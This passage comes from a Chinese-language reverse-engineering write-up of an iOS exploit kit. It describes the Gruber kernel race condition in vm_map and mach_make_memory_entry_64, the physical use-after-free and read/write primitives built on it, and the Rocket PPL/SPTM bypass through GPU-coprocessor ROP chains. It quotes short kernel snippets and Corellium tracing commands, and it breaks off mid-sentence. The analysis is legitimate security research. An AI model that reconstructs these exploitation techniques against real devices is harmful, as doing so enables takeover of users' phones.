0xe2900000 b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2 b&#39;4817ea8063eb4480e915f1a4479c62ec774f52ce.min.js&#39;</code></pre><p>新配置（<code>0x70000</code>）包含 PE 的条目，套件稍后将下载（<code>0xe2900000</code>）。<code>0x70005</code> 是 PE 应该注入到的进程名称（在我们的情况下是 <code>powerd</code>）。其余文件是两个 MachO，我们将在接下来详细查看。</p><p>代码随后将使用以下 id 更新配置：</p><ul><li><code>0x70001</code>：资源 url</li><li><code>0x70002</code>：ChaCha20 密钥</li><li><code>0x70003</code>：文档 url</li><li><code>0x70004</code>：用户代理</li><li><code>0x70006</code>：日志 url</li></ul><p>之后返回新配置（<code>0x70000</code>）。如果 <code>dyld_task_info.all_image_info_addr-&gt;jitInfo</code> 未填充，它将获取 <code>0x50000</code> 然后加载 <code>0x90001</code> 作为 MachO，从中解析 <code>_driver</code> 并调用该函数。这然后生成一个新上下文，由主函数进一步填充。之后它将一些内存映射为 RW，将 <code>0x50000</code> shellcode 复制到那里，保护它为可执行，并在上下文上做一些进一步的设置。之后无论 <code>jitInfo+0x4000</code> 如何都会被调用，上下文的部分被重新填充。最后加载 <code>0x80000</code> 并映射，从中检索 <code>_start</code> 然后调用此方法。<code>0x90000</code> 最终在 <code>0x80000</code> 内部被调用，然后包含主要的 LPE 和 PPL/SPTM 绕过逻辑。目前我没有对 <code>0x90001</code> 和 <code>0x50000</code> 进行任何深入分析，但将来我可能会回到它们。</p><h4 id="345-0x80000-macho">3.4.5. 0x80000 MachO</h4><p>受时间所限，我也仅对该 MachO 进行了高层审查。它似乎是 PE 编排器，加载主 PE MachO（<code>0x90000</code>），在其上调用 <code>_driver</code> 以获取上下文，然后调用此上下文内的函数来运行 PE、PPL/SPTM 绕过，然后加载植入物。</p><h4 id="346-0x90000-macho">3.4.6. 0x90000 MachO</h4><p><code>0x90000</code> MachO 是主要的 PE 阶段。其中包含 Gruber（内核 LPE）和 Rocket（PPL/SPTM 绕过）。具体来说，驱动结构中 @+0x18 处的函数负责启动 LPE。它将首先初始化一个非常大的 LPE 上下文结构。然后进行一些指纹检测。为 PE 本身初始化另一个上下文，运行它，然后引导一个内核解析框架。从那里它将开始提升权限。例如，它会找到 <code>developer_mode_status</code> 和 <code>allows_security_research</code> 并覆盖它们。@+0x20 处的函数将作为 C2C 函数，向调用者导出某些命令。其中一些命令需要 PPL/SPTM 写入原语，在这种情况下会运行 Rocket 来设置一个自引用页表项，然后用于绕过 PPL/SPTM 保护。</p><h3 id="35-nei-he-du-xie-gruber">3.5. 内核读写（Gruber）</h3><p>Gruber 是 <code>vm_map</code> 和 <code>mach_make_memory_entry_64</code> 调用之间的竞态条件，导致 <code>vm_object</code> 上的引用计数减少，然后可以将其转化为 <a href="https://littlelailo.github.io/writeups/coruna.html#pUAF_explanation">pUAF</a>，从中获得早期读取和物理映射原语。通过早期读取，他们可以解析每个要访问的虚拟地址到物理地址，然后使用物理映射原语来读写它。这也给了他们一个指向其任务结构的指针，从中可以轻松找到所有其他重要的内核结构。从那里根据版本，他们部署不同的稳定读写策略，我也将在这里描述。</p><h4 id="351-zhao-chu-lou-dong">3.5.1. 找出漏洞</h4><p>由于该漏洞极其复杂，我认为带你走一遍分析过程，比直接描述漏洞本身更容易理解。我将跳过很多设置以保持这部分简短一些，我们将在<a href="https://littlelailo.github.io/writeups/coruna.html#gruber_exploitation">漏洞利用部分</a>中更深入地讨论这些。</p><p>最初，漏洞利用会寻找一个至少 18 页大的子映射（vm 深度为 1）。然后它为这些 18 页的每个竞态线程（数量取决于设备）创建内存条目端口。然后从这些端口中选择第一个用于主线程，并通过 <code>vm_map</code> 映射内存。之后他们分配一个比目标大小大一页的映射，并调用 <code>vm_copy</code> 从第一个映射创建虚拟副本到第二个映射。然后释放第一个映射。之后他们裁剪副本映射——这是通过在副本映射的最后一页上分配然后再次释放来完成的。这保证了副本映射的 <code>vm_entry</code> 只跨越它。设置完成后，漏洞利用正式开始。获取 <code>vm_object</code> 的引用计数（通过 <code>vm_region_recurse_64</code>）。这在整个漏洞利用过程中都会执行，以验证漏洞是否成功触发以及引用是否被减少。然后启动竞态线程，一旦它们就绪，它们尝试并行执行 <code>vm_map</code> 调用，而主线程执行 <code>mach_make_memory_entry_64</code> 调用。这两个调用都将第一个内存条目端口作为参数传递。<code>mach_make_memory_entry_64</code> 调用作为父条目，<code>vm_map</code> 调用映射该内存。<code>vm_map</code> 的参数是：</p><pre><code class="language-text" data-language="text">vm_address_t addr = 0;
// ...
ret = vm_map(mach_task_self(),
            &amp;addr,
            size,
            0,
            VM_FLAGS_FIXED,
            memory_entry_port,
            0x0,
            true,
            VM_PROT_READ,
            VM_PROT_READ,
            VM_INHERIT_DEFAULT);</code></pre><p>如你所见，因为 <code>VM_FLAGS_FIXED</code> 被设置且 addr 为 0，此调用将始终失败并返回 <code>KERN_INVALID_ADDRESS</code>。<code>mach_make_memory_entry_64</code> 的调用方式如下：</p><pre><code class="language-text" data-language="text">mach_make_memory_entry_64(mach_task_self(),
                        &amp;size,
                        0x0,
                        VM_PROT_READ,
                        &amp;new_port,
                        memory_entry_port);</code></pre><p>然后再次获取 <code>vm_object</code> 的引用计数，如果它没有增加，则竞态成功，否则重新尝试。代码期望最多减少与线程数相同的引用计数，这是一个很好的指标，表明 <code>vm_map</code> 调用正在减少引用——每个 <code>vm_map</code> 调用都有能力减少一个引用。</p><p>唯一容易获得的另一个好信息是，在 iOS 17.3 中漏洞被修补时，Apple 现在在 <code>mach_make_memory_entry_64</code> 中对父条目加了锁，而之前没有（感谢 Apple 最近发布了细粒度的 XNU 源代码！）。</p><p>仍然存在的主要问题是 <code>vm_map</code> 调用运行了如此多的内核代码（数千行），以至于很难弄清楚 <code>mach_make_memory_entry_64</code> 中的什么副作用导致了引用减少。我们尝试了静态分析来弄清楚这一点，花了 50 多个小时（感谢所有在语音通话中坚持的人！），但我们就是找不到根因。随后我想到一个办法：利用 Corellium 在内核中捕获两次执行跟踪，一次在竞态成功、引用减少时，一次在失败时。然后我可以比较两个跟踪，希望通过查看它们分歧的地方，根因就会显现出来。</p><h4 id="3511-huo-qu-corellium-gen-zong">3.5.1.1. 获取 Corellium 跟踪</h4><p>（点击展开）
过去我使用过 Corellium 的 <a href="https://support.corellium.com/features/hypertrace">HyperTrace</a> 功能来获取内核执行跟踪。“幸运的是”，该功能在我的 Corellium/型号/版本组合上出了问题，这导致我尝试了 <a href="https://support.corellium.com/features/corexight">CoreXight</a>。这是一个基于 CoreSight 的更低级功能，允许完整的 VM 跟踪，包括用户态，这对此非常有用，因为它允许我在 <code>vm_map</code> 系统调用上对齐两个跟踪。</p><p>要启动跟踪，需连接到 Charm 控制台并执行 armtrace 命令：</p><pre><code class="language-text" data-language="text">$ rlwrap socat - /run/charmd
armtrace name:&lt;vm name&gt; stream:/tmp/capture.bin filter:&#34;clear: name:&lt;process name&gt;&#34; el1:1</code></pre><p>这将跟踪虚拟机 <code>&lt;vm name&gt;</code>，过滤进程 <code>&lt;process name&gt;</code>，<code>el1:1</code> 指定我们要从 EL1 获取内核跟踪（而不是例如跟踪一个飞地）。跟踪将保存到 <code>/tmp/capture.bin</code>。重要的是，这会生成非常大的跟踪，这也使分析变得复杂，所以理想情况下你希望尽可能短地捕获。我基本上打开了两个面板，在第一个中快速触发，在第二个中运行我的漏洞利用重新实现直到成功，然后在第一个中快速停止跟踪（简单地发出不带任何参数的 <code>armtrace name:&lt;vm name&gt;</code> 将停止并保存跟踪）。</p><p>跟踪以自定义格式保存，但 Corellium 提供了一个工具（corexight）来解析它并将其作为非常大的文本文件输出。该工具还可以消费 MachO 以获取基本块信息并解析系统调用。我使用以下参数调用它：</p><pre><code class="language-text" data-language="text">corexight /tmp/capture.bin -strace /usr/share/corellium/strace/ios-arm64.csmf -global macho:/tmp/kc@0xfffffff029d04000</code></pre><p>第一个参数是跟踪文件，然后是系统调用定义以允许解析那些，然后是内核的 MachO。使用 <code>@0xfffffff029d04000</code> 你可以指定 MachO 的加载地址（对于内核你可以在 UI 的设置中找到）。</p><p>跟踪看起来像这样：</p><pre><code class="language-text" data-language="text">5  1430 gruber           51072 &gt; 0x00000001df14c1d4 mach_msg2 (...)
 5  1430 gruber           51072 0xfffffff02aacb474-0xfffffff02aacb477
 5  1430 gruber           51072 0xfffffff02aacb478-0xfffffff02aacb4bb
 5  1430 gruber           51072 0xfffffff02aacc560-0xfffffff02aacc563</code></pre><p>我使用以下 grep 链对跟踪结果进行了预过滤：<code>| grep gruber | grep -v &#34;# exception&#34; | grep -v &#34;simulator break&#34; | grep -v &#34;now running in&#34; | gzip</code>，因为 corexight 只在 Linux 上运行，我想在我的 Mac 上分析跟踪。我基本上只过滤我的进程，过滤掉所有中断和异常，然后 gzip 结果以将其传到我的 Mac 上。</p><p>我的最终跟踪在开头存在一处微小差异（可能是系统调用入口期间的某些操作），但随后二者便严重分歧。寻找到分歧点之前的地址直接带我找到了根因。30 分钟的动态分析击败了 50 多小时的静态分析，所以如果你有可能这样做，我只能推荐这种方法。</p><p>所以感谢动态分析和跟踪，我们知道流程在 <code>vm_object_copy_strategically</code> 函数中分歧。这是一个辅助函数，它告诉调用者如何执行 <code>vm_object</code> 的副本。基本上，在 <code>vm_map</code> 流程中的这一点，内核需要决定如何为即将创建的映射提供后备内存。该函数将根据 <code>vm_object</code> 的 <code>copy_strategy</code> 字段告诉调用者执行快速（<code>MEMORY_OBJECT_COPY_SYMMETRIC</code>）或慢速（<code>MEMORY_OBJECT_COPY_DELAY</code>）副本。为了使竞态成功，此函数需要将 <code>copy_strategy</code> 字段视为 <code>MEMORY_OBJECT_COPY_SYMMETRIC</code>，这将导致 <code>vm_map</code> 调用 <code>vm_object_copy_quickly</code>，但在此调用之前，<code>mach_make_memory_entry_64</code> 中的代码需要将 <code>copy_strategy</code> 更改为 <code>MEMORY_OBJECT_COPY_DELAY</code>。在这种情况下，<code>vm_object_copy_quickly</code> 将失败并返回错误，但外部调用代码没有检查返回值并盲目假设副本成功。在 <code>vm_object_copy_quickly</code> 成功的情况下，它将使 <code>vm_object</code> 的引用计数增加一，因此 <code>vm_map</code> 代码（盲目信任它成功）将在调用后无条件减少一个引用。在失败情况下，这导致引用计数减少过多。</p><h4 id="352-gruber-gen-yin-fen-xi">3.5.2. Gruber 根因分析</h4><p><code>mach_make_memory_entry_64</code> 没有对父内存条目加锁，这允许它在锁外更改 <code>vm_object</code> 的 <code>copy_strategy</code> 字段。如果竞态窗口正确对齐，并行的 <code>vm_map</code> 调用将在 <code>vm_object_copy_strategically</code> 调用期间将 <code>copy_strategy</code> 视为 <code>MEMORY_OBJECT_COPY_SYMMETRIC</code>，并决定调用 <code>vm_object_copy_quickly</code>，基于其返回值。但由于 <code>copy_strategy</code> 可以被更改为 <code>MEMORY_OBJECT_COPY_DELAY</code>，对 <code>vm_object_copy_quickly</code> 的调用可能会失败。<code>vm_map</code> 中的外部代码假设对 <code>vm_object_copy_quickly</code> 的调用总是成功并无条件减少了一个引用，在失败情况下这导致减少了一个过多的引用，然后可以将其转化为 pUAF。</p><h4 id="353-lou-dong-li-yong">3.5.3. 漏洞利用</h4><p>高层准备步骤是为 pUAF 准备物理页空闲池，并准备映射和 Mach 端口以便能够喷射 <code>vm_map_entry</code> 和 <code>vm_object</code> 对象。为此漏洞利用使用带有 <code>MACH_MSG_VIRTUAL_COPY</code> OOL 描述符的 <code>mach_msg</code>。</p><p>为了保证正确触发漏洞，他们最初创建了足够的内存条目端口（等于竞态线程数）来引用 <code>vm_object</code> 至少与竞态线程可以减少的引用次数相同，以便在成功触发漏洞后仍然有 4 个引用，即使所有竞态线程都赢了。因此，在获取 <code>vm_object</code> 的引用计数后，他们使用这些端口减少足够的引用以降到 4 个引用。从设置中他们还有一个映射的 CoW 副本。通过将其换入，他们再减少两个引用。最后两个引用通过释放 <code>mach_make_memory_entry_64</code> 调用返回的端口来减少。这将以一种仍然留下指向映射物理页的悬空 PTE 的方式释放 <code>vm_object</code>，但将表示映射的 <code>vm_page</code> 返回到空闲池，这是一个经典的 pUAF 场景。对于较旧的 iOS 版本，漏洞利用的工作方式略有不同，这让我认为 CoW 换入将对象降到 2 个引用是触发机制的重要部分，但我对 vm 子系统内部的知识不够深入，无法确定这一点。他们现在有两个 UAF：他们想要的 pUAF，以及 <code>vm_object</code> 上的 UAF（因为 <code>vm_entry</code> 仍然指向它）。为了解决后者，他们尝试通过简单的 <code>vm_allocate</code> 调用喷射对象来重新分配 <code>vm_object</code>。具体来说，他们在这里传递 <code>VM_FLAGS_PURGABLE</code>，我假设这是为了避免从空闲池为这些对象分配物理页。为了知道他们已经成功重新分配了 <code>vm_object</code>，他们利用了 <code>VM_REGION_SUBMAP_INFO</code> 中的 <code>object_id_full</code> 只是 <code>vm_object</code> 的混淆指针这一事实。因此通过获取映射的 <code>VM_REGION_SUBMAP_INFO</code>（通过 <code>vm_region_recurse_64</code>）并查看 <code>object_id_full</code>，当 ID 匹配时他们可以知道是否成功重新分配了 <code>vm_object</code>。他们还尝试观察某种模式……</p><p>他们的下一步是使用内核对象重新分配 pUAF 的内存。为此在下一步中他们想要一个干净的物理页空闲列表，或者更确切地说知道内核何时开始消耗他们的页面。因此他们将分配内存并在其上放置一个标记，然后观察 pUAF 映射以查看标记是否出现，并在循环中继续直到它出现。</p><p>他们触发漏洞两次：一次使用 <code>mach_make_memory_entry_64</code>，第二次使用 <code>mach_msg</code> 调用来喷射 <code>vm_object</code> 和 <code>vm_entry</code>。然后他们通过模式匹配在 pUAF 映射上检测它们。对于 <code>vm_object</code> 他们：验证引用计数不超过 0x80、pp 链表是否合理、某些位域是否正确设置、最后大小是否匹配。他们只在第一个条件上拒绝，因为他们无法保证他们的 <code>vm_object</code> 是页面上的第一个或者是否是外来的，但然后使用其他检查来验证它是他们的。</p><p>对于 <code>vm_entry</code> 他们验证 <code>links.prev</code> 看起来像内核指针，以及他们的内存标记（<code>0xcc</code>）是否与喷射条目中的匹配。然后检查 <code>links.start</code> 和 <code>links.end</code> 是否都指向正确的映射，以及条目在红黑树中没有子条目。</p><h4 id="354-zao-qi-du-qu">3.5.4. 早期读取</h4><p>对于早期读取，他们将接收持有 OOL 描述符的 mach 消息，直到观察到 <code>vm_entry</code> 内的地址变为接收到的 OOL 描述符指向的地址。这意味着他们现在收到了正确的 mach 消息。如果他们没有观察到变化，他们将立即释放内存以避免进程使用过多内存；在识别出正确的消息后，他们将销毁所有其他消息。接收后，<code>vm_entry</code> 从 mach 消息内的副本映射移动到进程的 <code>vm_map</code>。然后漏洞利用可以对条目进行以下更改：将 <code>links.next</code> 指向他们想要读取的地址（加上偏移），通过将 <code>links.end</code> 减少一页来截断映射。此外，他们还通过设置 <code>links.prev-&gt;links.next = links.next</code> 从红黑树中移除条目。</p><p>然后他们在现在裁剪的页面上调用 <code>vm_region_64</code>。这导致 <code>vm_map_lookup_entry</code> 在遍历红黑树时找不到条目。<code>vm_map_lookup_entry</code> 的行为是返回在遍历期间当前条目的地址超过目标地址之前看到的最后一个条目。另一方面，<code>vm_region_64</code> 将返回下一个可用地址的信息。所以如果你例如在 <code>0x0</code> 上调用 <code>vm_region_64</code> 但只有 @ <code>0x4000</code> 的映射，它会将地址设置为 <code>0x4000</code> 并返回 <code>0x4000</code> 处条目的信息。要达到此行为，它有以下代码：</p><pre><code class="language-text" data-language="text">if (!vm_map_lookup_entry(map, start, &amp;tmp_entry)) {
    if ((entry = tmp_entry-&gt;vme_next) == vm_map_to_entry(map)) {
        vm_map_unlock_read(map);
        return KERN_INVALID_ADDRESS;
    }
} else {
    entry = tmp_entry;
}</code></pre><p>所以如果查找失败（从而返回它看到的最后一个条目），它将取 <code>tmp_entry-&gt;vme_next</code> 来获取下一个条目。在流程中他们然后完全控制了条目，幸运的是代码只从条目中复制信息而不对其进行任何其他验证，给了他们一个不错的读取原语：</p><pre><code class="language-text" data-language="text">start = entry-&gt;vme_start;
basic-&gt;offset = VME_OFFSET(entry);
basic-&gt;protection = entry-&gt;protection;
basic-&gt;inheritance = entry-&gt;inheritance;
basic-&gt;max_protection = entry-&gt;max_protection;
basic-&gt;behavior = entry-&gt;behavior;
basic-&gt;user_wired_count = entry-&gt;user_wired_count;
basic-&gt;reserved = entry-&gt;is_sub_map;
*address_u = vm_sanitize_wrap_addr(start);
*size_u    = vm_sanitize_wrap_size(entry-&gt;vme_end - start);</code></pre><p><code>basic</code> 这里是返回到用户态的结构。读取后他们恢复原始值。</p><h4 id="355-wu-li-ying-she-yuan-yu">3.5.5. 物理映射原语</h4><p>对于物理映射原语，他们将使用他们能找到的第一个 <code>vm_object</code>。从中他们剥离 <code>internal</code> 和 <code>alive</code> 标志，然后添加 <code>phys_contiguous</code> 和 <code>pager_initialized</code> 标志，并将 <code>vou_shadow_offset</code> 设置为他们想要映射的物理地址。然后他们可以通过 <code>vm_map</code> 映射此 <code>vm_object</code>，由于他们设置的标志，它将映射在 <code>vou_shadow_offset</code> 中指定的物理地址。从那里他们可以修改它。他们似乎然后进一步将其升级到另一个 <code>vm_object</code>，我不确定这样做的原因是什么。对于这个 <code>vm_object</code>，他们将偏移设置为 0，将 <code>vou_size</code> 设置为 -1。从那时起，他们可以通过在 <code>vm_map</code> 调用中将偏移设置为所需的物理地址来映射任何物理地址。</p><h4 id="356-jin-yi-bu-sheng-ji">3.5.6. 进一步升级</h4><p>他们可以读取 <code>vou_owner</code> 来获取他们的任务，从那里他们可以轻松解析其端口空间中的任何端口。我没有仔细逆向函数的其余部分，但其余部分似乎主要是清理所有对象以及导出原语以便常规读写函数可以使用它们。</p><h4 id="357-wen-ding-du-xie-ce-lve">3.5.7. 稳定读写策略</h4><p>他们实现了 5 种不同的写入策略：通过 tfp0、通过 IOSurface（选择器 33）、通过管道缓冲区、通过 ioctl（FIOSETOWN）、通过他们的映射原语。他们没有使用最初设置的偏移量的映射原语，而是需要为此修改内核结构（我再次真的不理解为什么他们在这里复制原语）。为此他们需要一个 64 位内核写入。为此他们将在设置期间首先从 SpringBoard 窃取 IOGPU 端口，然后使用它创建一个 IOGPU 对象。然后他们使用原始映射原语映射此对象，并使用 <code>IOGPUDeviceUserClient::s_delete_resource -&gt; IOGPUDevice::delete_resource -&gt; IOGPUResource::sharedRelease -&gt; IOGPUDevice::decrement_allocated_size</code> 作为 64 位递减原语来执行该写入。不确定为什么这种间接是必要的。</p><p>对于内核读取，他们有几种策略：通过 tfp0、通过 IOSurface（选择器 16）、通过管道缓冲区。最初，我不理解为什么他们甚至需要这些读取函数，因为他们可以使用映射原语将数据映射到用户态然后从那里读取，但 Alfie 正确地指出，为了读取 PPL/SPTM 保护的映射，他们不能映射它（因为那会导致内核崩溃），所以他们在这里提供这些原语是有道理的。根据版本（我假设还有沙箱），选择一个可用的原语。</p><h3 id="36-pplsptm-rao-guo-rocket">3.6. PPL/SPTM 绕过（Rocket）</h3><p>作为加载植入物前的最后一步，他们需要绕过 PPL（在现代手机上即 SPTM）。为此，他们获得 GFX（GPU）代码执行，击败该协处理器的 μPPL 实现，然后使用完整的 GFX 物理内存访问在 AP 上创建一个自引用页表项（PTE），他们可以用它来绕过 PPL/SPTM 写入保护内存。</p><h4 id="361-gfx">3.6.1. GFX</h4><p>GFX 是 Apple Silicon 上的 GPU 协处理器，运行自己的固件（RTKit 的一个变体）。AP 与 GFX 的通信通过两个内核驱动程序完成：IOGPU（高级驱动程序），以及 AGXG（低级驱动程序），后者在每个 Apple Silicon 代际上都有所不同。通常协处理器位于所谓的设备地址解析表（DART）后面，这是一个 IOMMU，限制协处理器对物理内存的访问。AP PPL/SPTM 将管理 DART 配置以确保协处理器无法 DMA 到保护内存。然而，GFX 并不位于 DART 之后，这可能出于性能考量，因为它需要访问大量内存，并在不同任务/内存映射之间频繁上下文切换。Apple 决定通过 GFX PPL 实现（他们称之为 μPPL）来缓解此风险；μPPL 负责确保即便攻击者在 GFX 上获得代码执行，GFX 也无法访问受保护内存。漏洞利用套件的作者似乎意识到这使得 GFX 成为 PPL/SPTM 绕过的首选目标，因为关注它的人更少，而且它在所有绕过中都被使用。</p><h4 id="362-rocket">3.6.2. Rocket</h4><p>在 iOS 17.4 中，有一个我将其与 Rocket 补丁关联的更改：GFX 的 <code>__arm_arch_resume_uat</code> 过去从内存加载 ttbr0/1 的原始值，现在不再这样做了。在该更改之前，当 GFX 从休眠中唤醒时，它会直接从内存加载根级页表的指针。这意味着如果攻击者能够控制内存，他们可以在唤醒时加载自己的假页表，允许他们绕过 μPPL，然后利用完整的物理内存访问在 AP 上创建自引用 PTE 以绕过 AP PPL/SPTM。</p><h4 id="363-lou-dong-li-yong">3.6.3. 漏洞利用</h4><p>设置自引用 PTE 条目的函数最初会在 <code>com.apple.iokit.IOGPUFamily</code>、<code>com.apple.AGXG</code> kext 和 GFX 固件上做大量的偏移查找。之后它尝试从 backboardd 窃取 IOGPU 端口（不确定为什么他们需要再次这样做，因为他们已经从 SpringBoard 有了一个）。如果他们能获取端口，他们将创建一个新的命令队列和两个共享内存对象。然后他们将在两个共享内存对象上提交命令缓冲区，跟踪内核中的指针链以找到它们的内核地址，然后使用物理映射原语将它们映射到其地址空间。但该函数也支持在没有窃取端口的情况下操作。一旦他们有了所有偏移和 IOGPU 设置，他们将创建 GFX 的假页表并准备自引用 AP PTE 的映射。</p><p>为此他们使用另一种原语：kalloc 他们不拥有但由内核拥有的内存的能力。根据 XNU 版本，他们要么将 <code>ipc_port_request_table</code> 增长到他们想要的大小然后从受害者端口中移除它，要么有两种不同的方法使用 mach 消息的后端缓冲区来分配他们的内存。他们需要这样做的原因是让 GFX 内存即使在他们的进程不再存在后也能保持活跃。</p><p>映射准备就绪后，他们将设置一条旨在 GFX 上执行的 ROP 链。根据 SoC，他们执行三个 ROP 链之一。从高层来看，所有 ROP 链都围绕使用受控休眠状态进入休眠，以便在唤醒时由于状态控制他们将重新获得代码执行，并且还使用完全受控的页表运行。一般来说，他们的 ROP 链将：恢复入口点（以避免再次执行 ROP 链），设置休眠数据结构使其在受控页表下重新获得代码执行，返回到常规执行并等待休眠或自己触发它。然后一旦从休眠中唤醒并使用假页表重新获得代码执行，他们将在 AP 上设置自引用 PTE，然后优雅地退出 ROP 以继续常规执行。</p><p>为了启动该链，他们将在 GFX 作业列表中插入一个仅包含单个 GPU 栅栏/戳记操作的作业。这给了他们一个 GFX 上的 32 位写入原语。通过这个 32 位写入，他们覆盖电源线程的线程状态指针指向自己的（他们覆盖字节 1-5 以允许用 32 位完全控制指针，除了最低字节，然后将他们的假对象对齐到与原始指针相同的最低字节）。这允许他们在电源线程再次被调度时获得代码执行。当他们拥有窃取的端口时，可以轻松使用外部方法向 GFX 提交作业（并修补数据结构以插入那个格式错误的栅栏操作）；而没有端口时，则将使用物理映射原语映射作业列表，并直接将作业插入其中。</p><h4 id="3631-gfx-rop-lian">3.6.3.1. GFX ROP 链</h4><p>（点击展开）
GFX ROP 链基于这个 gadget：它允许他们加载所有寄存器并通过将 <code>ELR_EL1</code> 设置为他们想要跳转的第一个地址并将 X30 设置为第二个地址来执行双跳。在实践中他们通过将 X30 设置回同一个 gadget 来获得另一次调用来进行链式操作。对于修改内存他们使用 <code>str x1, [x0, x2]; ret</code> gadget。</p><p>ROP 链存在三个不同版本。</p><p>对于 A13，在执行之前他们将（使用 AP 物理读写）修改 <code>rtk_crt_mmu_gxf_stack_size</code> 为 0x4028 而不是 0x4000 字节，使其与数据中的一些变量重叠，包括 μPPL 错误状态。然后在 ROP 链中他们将：恢复作业列表（如果漏洞利用没有窃取的 IOGPU 端口）、通过 genter 调用 μPPL 来重新映射休眠上下文（genter 命令 0x10）、用他们的第一个假休眠上下文覆盖指向休眠上下文的指针、恢复电源线程（他们用于劫持代码执行的）、恢复 <code>TPIDRRO_EL0</code> 的正确值并继续常规执行、然后在某个时刻 GFX 将进入休眠然后唤醒时加载第一个假休眠上下文（这将让他们重新获得代码执行）、在获得新上下文中的代码执行后他们将设置一个带有假页表的假休眠上下文、覆盖休眠上下文指针以指向假上下文、恢复 <code>TPIDRRO_EL0</code> 的正确值并继续常规执行、新的假上下文将使用命令 0x24 调用 genter（0x24 不是一个有效的 μPPL 命令，所以处理程序会将命令缓冲区指针写入数据段以便外部处理代码可以崩溃并提供调用作为上下文；因为他们覆盖了 <code>rtk_crt_mmu_gxf_stack_size</code>，栈目前与这些数据全局变量重叠，允许他们粉碎 x30，这将调用 <code>ldp x8, x0, [x28];mov x1, x20; mov x2, x21; blr x8</code> gadget；通过在 genter 调用之前将 x28 设置为他们控制的内存，他们现在在 μPPL 上下文中拥有代码执行）、这个 μPPL 下的最终 ROP 链将休眠上下文恢复为原始值、在 GFX 上创建一个假 PTE 条目、执行 <code>tlbi vmalle1is; dsb sy; isb; ret</code>、在 AP 上创建自引用 PTE、使用受控休眠上下文调用 <code>resume_uat</code> 以继续常规代码执行。</p><p>在 A14-A17 上他们将：恢复作业列表（如果漏洞利用没有窃取的 IOGPU 端口）（通过 <code>str x1, [x0, x2]; ret</code>）、恢复电源线程的线程状态、正常调用 <code>arm_arch_hibernate_uat</code> 来转储休眠状态、将假 ttbr1 页表层次结构插入休眠状态、将 @+0xD8（<code>TPIDRRO_EL0</code>）设置为电源线程，将 @+0xC8（SP）设置为下一个 ROP 链、通过向 <code>0xfffffc1100160008</code> 写入 <code>0x0</code> 来重置 L2C 错误状态、执行 <code>dsb sy; isb; ret</code>、向 <code>0xfffffc1100170000</code> 写入 <code>0xFFFFFFFF80000000</code> 以进入休眠、自旋、然后他们将在自己的 ROP 链中唤醒使用假页表、所以现在他们可以在 AP 上创建自引用 PTE、最后他们从 <code>TPIDRRO_EL0</code> 加载原始电源线程状态继续常规执行。</p><p>感谢 Plx 的推文，我们现在知道 <code>0xfffffc1100160008</code> 指向 GFX 的 L2C 错误状态，<code>0xfffffc1100170000</code> 指向 ASC 调试覆盖寄存器。我不确定为什么他们需要清除 L2C 错误状态或为什么他们在调试覆盖中写入第 31-63 位，但第 39 位是 <code>force_core_ret_reset</code>，所以我假设这是核心重置和加载休眠上下文所需要的。</p><p>此外，在 A14 上他们在恢复状态之前执行第二次 PTE 存储，通过用常规映射替换它来取消映射第二个 GFX MMIO 区域（<code>0xfffffc1100170000</code>）。我不完全知道为什么他们只在 A14 上需要这样做，但我怀疑他们希望 AP 不从该区域读取某些值然后可能崩溃。</p><p>我怀疑他们不能在 A14+ 上执行 A13 攻击的原因是更强的 CTRR 不再允许他们修改 <code>rtk_crt_mmu_gxf_stack_size</code>，因为它在 const 段中。</p><h3 id="37-zhi-hou">3.7. 之后</h3><p>至此，他们已拥有完整的物理读写能力，并可加载植入物。我假设这是在 <code>0x80000</code> MachO 内部使用导出的 C2C 函数完成的，但这是我目前逆向的终点。将来我想更好地理解内核读写清理部分和 GFX 代码执行，然后可能研究 C2C 函数和植入物本身。为此，我还准备了下一节中的开放问题。</p><h2 id="4-kai-fang-wen-ti">4. 开放问题</h2><p>本节汇总了截至目前分析中尚未解决的所有问题。我可能会在一段时间后回来回答它们，然后更新这篇文章。</p><ul><li>他们使用的是什么混淆器？JS 变量混淆替换生成的工作方式是否可以匹配到 Metasploit 的？</li><li><code>(0)[0]</code> JIT 屏障构造究竟是如何影响 JIT 编译器状态的？</li><li>是否存在一个版本中 obj 属性访问中的 <code>&#34;uo&#34;</code> 是正确代码生成所需要的？</li><li>我们能否验证 <code>gRWArray1</code> 索引 0 和 2 是用来防止 JIT 共同加载或向量优化加载的？</li><li>为什么在 targetObj 之后喷射 256 个对象——更少是否足够？</li><li>为什么将浮点数组 butterfly 指针重置为 targetObj 的值而不是原始值？</li><li>C2C DOM 更新（状态 6）是否实际上被原生代码使用？</li><li>他们如何能够通过 <code>vm_object</code> 分配 ID 模式观察来预测内核分配器状态？</li><li>为什么升级到第二个 <code>vm_object</code> 作为物理映射原语？</li><li>当他们已经有映射原语时，为什么 IOGPU 64 位递减间接是必要的？</li><li>GFX 休眠在 A14-A17 上究竟是如何被触发的？</li><li>为什么第二个 GFX MMIO 区域取消映射只在 A14 上需要？</li><li>Sparrow 在哪里？</li><li>Gruber 内核读写清理/升级函数的其余部分做了什么？</li><li>C2C 函数向编排器导出了什么功能，编排器如何使用它们来加载植入物？</li></ul><h2 id="5-can-kao">5. 参考</h2><h3 id="51-shen-me-shi-pac">5.1. 什么是 PAC</h3><p>指针认证码（PAC）是 ARMv8.3 及更高版本架构中实现的安全功能，提供针对前向边缘（防止 JOP）和后向边缘（防止 ROP）的控制流完整性（CFI）。PAC 通过向指针添加加密签名来工作，可以在解引用指针之前用于验证指针的完整性。这有助于防止攻击者操纵指针来执行任意代码或访问未授权内存。Apple 在 A12 及更高版本设备上发布了 PAC，因此在这些设备上攻击者需要在实现代码执行之前绕过 PAC。Brandon Azad 有一篇博客文章分析了初始实现，网上还有很多关于绕过的演讲。</p><h3 id="52-shen-me-shi-jitboxjitcage">5.2. 什么是 JITBox/JITCage</h3><p>JITBox/JITCage 是 WebContent 内部的一个安全功能，试图防止攻击者使用 JIT 区域作为击败 CFI 的方式。关于它的公开文档很少，但我找到了 Synacktiv 的这个演示和 Luca 的一个演讲。Apple 基本上限制了可以在 JIT 区域内执行的汇编指令以及代码可以跳转到的位置（通过禁止未经认证的跳转和跳转到区域外的指令，对于认证跳转则限制对签名密钥的访问）。</p><h3 id="53-shen-me-shi-pplsptm">5.3. 什么是 PPL/SPTM</h3><p>旧设备上的页保护层（PPL）和新设备上的安全页表监视器（SPTM）负责保护系统免受已经拥有内核读写的攻击者的攻击。它通过获取对页表以及其他重要数据结构的控制并保持它们对内核只读来实现这一点，使得无法在不首先获取 PPL/SPTM 